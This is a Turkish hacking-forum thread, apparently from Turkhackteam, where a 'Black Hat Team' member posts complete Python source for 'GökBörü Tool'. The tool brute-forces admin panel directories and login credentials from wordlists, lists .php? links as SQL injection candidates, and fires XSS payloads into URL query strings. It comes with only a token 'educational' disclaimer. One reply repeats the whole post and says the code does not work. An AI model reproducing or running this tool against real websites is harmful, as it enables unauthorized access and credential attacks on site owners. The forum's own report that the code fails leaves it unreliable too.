#BlackHatTeam | GökBörü Tool v1.0

ACE Veen

Uzman üye
4 Şub 2023
1,097
551
Belirsiz

Admin Panel Finder

Program içerisinde bulunan admin panel finder ile penetrasyon testi yapacağınız sitedeki admin paneli veya sizin verdiğiniz wordlist içerisindeki dizinleri tarar ve sonuçları size getirir.

SQL Inejction Finder

Verdiğiniz site içerisinde sql injection olma ihtimali olan siteleri verir.

Login BruteForce

Sitenin login sayfasının URL adresini girin ve gerekli paremetreleri sağladıktan sonra seçtiğiniz username ve pasword wordlistleri ile bruteforce saldırısı yapar.

XSS

Verdiğiniz url içerisindeki sorgu kısmına XSS payloadları uygular ve başarılı ise geri dönüş yapar.

Portswigger Lab Denemesi

Portswigger üzerinde bir XSS labında yaptığım deneme.


Teşekkürler:
-Black Hat Team-

Bu tool tarafımca geliştirilmeye devam edilecektir.​

Kaynak Kodları:

Python:
from colorama import Fore, init
import requests
import time
from bs4 import BeautifulSoup
from urllib.parse import urlencode
import re
from art import *

init(autoreset=True)
def xss(url, xssPayloadFile):
    try:
        with open(xssPayloadFile, 'r', encoding="utf-8") as file:
            payloads = file.readlines()
    except FileNotFoundError:
        print("Payload dosyası bulunamadı.")
        return

    try:
        for payload in payloads:
            payload = payload.strip()
            url_with_payload = url + payload
            response = requests.get(url_with_payload)
            response.raise_for_status()
            soup = BeautifulSoup(response.content, 'html.parser')
            if payload in soup.get_text():
                print(Fore.GREEN +"[+] Payload tespit edildi:", payload)
            else:
                print(Fore.RED +"[-] Payload tespit edilemedi:", payload)
    except requests.exceptions.RequestException as e:
        print(Fore.RED +"[!]Hata:", e)
    input("çıkış yapmak için 'q' tuşuna basınız")

def bruteForce(url, error_message,username_file, password_file, param1, param2):
    try:
        with open(username_file, 'r') as user_file:
            usernames = user_file.readlines()
        with open(password_file, 'r') as pass_file:
            passwords = pass_file.readlines()
    except FileNotFoundError:
        print("Dosya bulunamadı.")
        return
   
    for username in usernames:
        username = username.strip()
        for password in passwords:
            password = password.strip()
            data = {param1: username, param2: password}
            response = requests.post(url, data=data)
            soup = BeautifulSoup(response.content, 'html.parser')
            error_tag = soup.find(string=re.compile(error_message))
            if not error_tag:
                print(Fore.GREEN + f"'{username,password}' parametresi için başarılı istek yapıldı.")
            else:
                print(Fore.RED + f"'{username,password}' parametresi için istek başarısız oldu.")
    input("Çıkmak için bir tuşa basınız...")


def sqlBul(url):
    response = requests.get(url)
    html_content = response.text
    soup = BeautifulSoup(html_content, 'html.parser')
    php_urls = re.findall(r'href=[\'"]?([^\'" >]+)', html_content)
    php_urls = [link for link in php_urls if ".php?" in link]
    for php_url in php_urls:
        print(Fore.GREEN+"[+] Bulunan Siteler" ,"=>", php_url)
    input("Çıkmak için bir tuşa basınız...")

def dizini_bul(url, hedef_dizinler, set_sleep):
   
    bulunan_dizinler = set()
    try:
        for dizin in hedef_dizinler:
            hedef = url + "/" + dizin
            response = requests.get(hedef)
            time.sleep(float(set_sleep))
            if response.status_code == 200 and hedef not in bulunan_dizinler:
                print(Fore.GREEN + "[+] Dizin bulundu =", hedef)
                bulunan_dizinler.add(hedef)
            elif response.status_code == 404 and hedef not in bulunan_dizinler:
                print(Fore.RED + "[!] 404 Hatası =", hedef)
               
            elif response.status_code == 302 and hedef not in bulunan_dizinler:
                print(Fore.BLUE + "[!] 302 Object moved temporarily =", hedef)
               
            elif response.status_code == 401 and hedef not in bulunan_dizinler:
                print(Fore.YELLOW + "[!] 401 Unauthorized =", hedef)
               
    except requests.exceptions as e:
        print("[!] Hata:", e)

    print("\nBulunan Dizinler Özeti:")
    for dizin in bulunan_dizinler:
        print("-", dizin)
    print("Toplam", len(bulunan_dizinler), "dizin bulundu.")
    input("Çıkmak için bir tuşa basınız...")

def konsol():
    print("""
    Seçenekler:
          1- Admin Panel Finder
          2- Possible SQL Injection Finder
          3- BruteForce
          4- XSS
""")
    print("Seçeneklerden istediğinizi numarasını girerek seçiniz.")
    choice = input("Seçim: ")
    if choice == "1":
            tprint("admin finder", font="chunky")
            url = input(Fore.CYAN + "Lütfen taramak istediğiniz web sitesinin URL'sini girin: ")
            dosya_yolu = input(Fore.CYAN +"Lütfen dizinleri içeren metin dosyasının yolunu girin: ")
            set_sleep = input(Fore.CYAN +"Her istek arasında ne kadar beklemek istediğinizi belirtin: ")
            try:
                with open(dosya_yolu, 'r') as dosya:
                    hedef_dizinler = dosya.read().splitlines()
                    dizini_bul(url, hedef_dizinler, set_sleep)
            except FileNotFoundError:
                print(Fore.RED +"Belirtilen dosya bulunamadı.")
    elif choice == "2":
                tprint("Possible SQL \nInjection Finder", font="small" )
                url = input(Fore.BLUE + "Lütfen taramak istediğiniz web sitesinin URL'sini girin: ")
                sqlBul(url)
    elif choice == "3":
                tprint("BruteForce", font="speed" )
                url = input("Lütfen URL'yi girin: ")
                error_message = input("Lütfen hata mesajını girin (hata mesajı yoksa boş bırakın):")
                param1 = input("Birinci parametreyi girin (ör. username): ")
                param2 = input("İkinci parametreyi girin (ör. password): ")
                username_file = input("Kullanıcı adlarının bulunduğu dosyanın adını girin: ")
                password_file = input("Şifrelerin bulunduğu dosyanın adını girin: ")
                bruteForce(url, error_message,username_file, password_file, param1, param2)
    elif choice == "4":
                tprint("XSS", font="chiseled")
                url = input(Fore.YELLOW + "XSS payloadı denemek istediğiniz url adresini girin: ")
                xssPayloadFile = input( Fore.YELLOW +"XSS Payloadlarınızın bulunduğu txt dosyasının yolu: ")
                xss(url, xssPayloadFile)
               
 
def main():
   
    tprint("gokboru", font="merlin1")
    tprint("BlackHat", font="cybermedium")
    print("meakay")
    print("Bu aracın kullanımı eğitim amaçlıdır. Verilen zararlardan kişi kendisi sorumludur.")
    sorumluluk = input("Yaptığım faaliyetlerden sorumlu olduğumu ve bu aracı yazan kişinin hiçbir sorumluluğu olmadığını kabul ediyorum. (E/H)")
    if sorumluluk.lower() == "e":
        konsol()
    else:
        print("Programdan çıkış yapılıyor...")

               
   
if __name__ == "__main__":
    main()
elinize sağlık
 

Rasholley

Yeni üye
28 Ocak 2019
5
0

Admin Panel Finder

Program içerisinde bulunan admin panel finder ile penetrasyon testi yapacağınız sitedeki admin paneli veya sizin verdiğiniz wordlist içerisindeki dizinleri tarar ve sonuçları size getirir.

SQL Inejction Finder

Verdiğiniz site içerisinde sql injection olma ihtimali olan siteleri verir.

Login BruteForce

Sitenin login sayfasının URL adresini girin ve gerekli paremetreleri sağladıktan sonra seçtiğiniz username ve pasword wordlistleri ile bruteforce saldırısı yapar.

XSS

Verdiğiniz url içerisindeki sorgu kısmına XSS payloadları uygular ve başarılı ise geri dönüş yapar.

Portswigger Lab Denemesi

Portswigger üzerinde bir XSS labında yaptığım deneme.


Teşekkürler:
-Black Hat Team-

Bu tool tarafımca geliştirilmeye devam edilecektir.​

Kaynak Kodları:

Python:
from colorama import Fore, init
import requests
import time
from bs4 import BeautifulSoup
from urllib.parse import urlencode
import re
from art import *

init(autoreset=True)
def xss(url, xssPayloadFile):
    try:
        with open(xssPayloadFile, 'r', encoding="utf-8") as file:
            payloads = file.readlines()
    except FileNotFoundError:
        print("Payload dosyası bulunamadı.")
        return

    try:
        for payload in payloads:
            payload = payload.strip()
            url_with_payload = url + payload
            response = requests.get(url_with_payload)
            response.raise_for_status()
            soup = BeautifulSoup(response.content, 'html.parser')
            if payload in soup.get_text():
                print(Fore.GREEN +"[+] Payload tespit edildi:", payload)
            else:
                print(Fore.RED +"[-] Payload tespit edilemedi:", payload)
    except requests.exceptions.RequestException as e:
        print(Fore.RED +"[!]Hata:", e)
    input("çıkış yapmak için 'q' tuşuna basınız")

def bruteForce(url, error_message,username_file, password_file, param1, param2):
    try:
        with open(username_file, 'r') as user_file:
            usernames = user_file.readlines()
        with open(password_file, 'r') as pass_file:
            passwords = pass_file.readlines()
    except FileNotFoundError:
        print("Dosya bulunamadı.")
        return
   
    for username in usernames:
        username = username.strip()
        for password in passwords:
            password = password.strip()
            data = {param1: username, param2: password}
            response = requests.post(url, data=data)
            soup = BeautifulSoup(response.content, 'html.parser')
            error_tag = soup.find(string=re.compile(error_message))
            if not error_tag:
                print(Fore.GREEN + f"'{username,password}' parametresi için başarılı istek yapıldı.")
            else:
                print(Fore.RED + f"'{username,password}' parametresi için istek başarısız oldu.")
    input("Çıkmak için bir tuşa basınız...")


def sqlBul(url):
    response = requests.get(url)
    html_content = response.text
    soup = BeautifulSoup(html_content, 'html.parser')
    php_urls = re.findall(r'href=[\'"]?([^\'" >]+)', html_content)
    php_urls = [link for link in php_urls if ".php?" in link]
    for php_url in php_urls:
        print(Fore.GREEN+"[+] Bulunan Siteler" ,"=>", php_url)
    input("Çıkmak için bir tuşa basınız...")

def dizini_bul(url, hedef_dizinler, set_sleep):
   
    bulunan_dizinler = set()
    try:
        for dizin in hedef_dizinler:
            hedef = url + "/" + dizin
            response = requests.get(hedef)
            time.sleep(float(set_sleep))
            if response.status_code == 200 and hedef not in bulunan_dizinler:
                print(Fore.GREEN + "[+] Dizin bulundu =", hedef)
                bulunan_dizinler.add(hedef)
            elif response.status_code == 404 and hedef not in bulunan_dizinler:
                print(Fore.RED + "[!] 404 Hatası =", hedef)
               
            elif response.status_code == 302 and hedef not in bulunan_dizinler:
                print(Fore.BLUE + "[!] 302 Object moved temporarily =", hedef)
               
            elif response.status_code == 401 and hedef not in bulunan_dizinler:
                print(Fore.YELLOW + "[!] 401 Unauthorized =", hedef)
               
    except requests.exceptions as e:
        print("[!] Hata:", e)

    print("\nBulunan Dizinler Özeti:")
    for dizin in bulunan_dizinler:
        print("-", dizin)
    print("Toplam", len(bulunan_dizinler), "dizin bulundu.")
    input("Çıkmak için bir tuşa basınız...")

def konsol():
    print("""
    Seçenekler:
          1- Admin Panel Finder
          2- Possible SQL Injection Finder
          3- BruteForce
          4- XSS
""")
    print("Seçeneklerden istediğinizi numarasını girerek seçiniz.")
    choice = input("Seçim: ")
    if choice == "1":
            tprint("admin finder", font="chunky")
            url = input(Fore.CYAN + "Lütfen taramak istediğiniz web sitesinin URL'sini girin: ")
            dosya_yolu = input(Fore.CYAN +"Lütfen dizinleri içeren metin dosyasının yolunu girin: ")
            set_sleep = input(Fore.CYAN +"Her istek arasında ne kadar beklemek istediğinizi belirtin: ")
            try:
                with open(dosya_yolu, 'r') as dosya:
                    hedef_dizinler = dosya.read().splitlines()
                    dizini_bul(url, hedef_dizinler, set_sleep)
            except FileNotFoundError:
                print(Fore.RED +"Belirtilen dosya bulunamadı.")
    elif choice == "2":
                tprint("Possible SQL \nInjection Finder", font="small" )
                url = input(Fore.BLUE + "Lütfen taramak istediğiniz web sitesinin URL'sini girin: ")
                sqlBul(url)
    elif choice == "3":
                tprint("BruteForce", font="speed" )
                url = input("Lütfen URL'yi girin: ")
                error_message = input("Lütfen hata mesajını girin (hata mesajı yoksa boş bırakın):")
                param1 = input("Birinci parametreyi girin (ör. username): ")
                param2 = input("İkinci parametreyi girin (ör. password): ")
                username_file = input("Kullanıcı adlarının bulunduğu dosyanın adını girin: ")
                password_file = input("Şifrelerin bulunduğu dosyanın adını girin: ")
                bruteForce(url, error_message,username_file, password_file, param1, param2)
    elif choice == "4":
                tprint("XSS", font="chiseled")
                url = input(Fore.YELLOW + "XSS payloadı denemek istediğiniz url adresini girin: ")
                xssPayloadFile = input( Fore.YELLOW +"XSS Payloadlarınızın bulunduğu txt dosyasının yolu: ")
                xss(url, xssPayloadFile)
               
 
def main():
   
    tprint("gokboru", font="merlin1")
    tprint("BlackHat", font="cybermedium")
    print("meakay")
    print("Bu aracın kullanımı eğitim amaçlıdır. Verilen zararlardan kişi kendisi sorumludur.")
    sorumluluk = input("Yaptığım faaliyetlerden sorumlu olduğumu ve bu aracı yazan kişinin hiçbir sorumluluğu olmadığını kabul ediyorum. (E/H)")
    if sorumluluk.lower() == "e":
        konsol()
    else:
        print("Programdan çıkış yapılıyor...")

               
   
if __name__ == "__main__":
    main()
hocam merhaba kod çalışmıyor
 
Üst

Turkhackteam.org internet sitesi 5651 sayılı kanun’un 2. maddesinin 1. fıkrasının m) bendi ile aynı kanunun 5. maddesi kapsamında "Yer Sağlayıcı" konumundadır. İçerikler ön onay olmaksızın tamamen kullanıcılar tarafından oluşturulmaktadır. Turkhackteam.org; Yer sağlayıcı olarak, kullanıcılar tarafından oluşturulan içeriği ya da hukuka aykırı paylaşımı kontrol etmekle ya da araştırmakla yükümlü değildir. Türkhackteam saldırı timleri Türk sitelerine hiçbir zararlı faaliyette bulunmaz. Türkhackteam üyelerinin yaptığı bireysel hack faaliyetlerinden Türkhackteam sorumlu değildir. Sitelerinize Türkhackteam ismi kullanılarak hack faaliyetinde bulunulursa, site-sunucu erişim loglarından bu faaliyeti gerçekleştiren ip adresini tespit edip diğer kanıtlarla birlikte savcılığa suç duyurusunda bulununuz.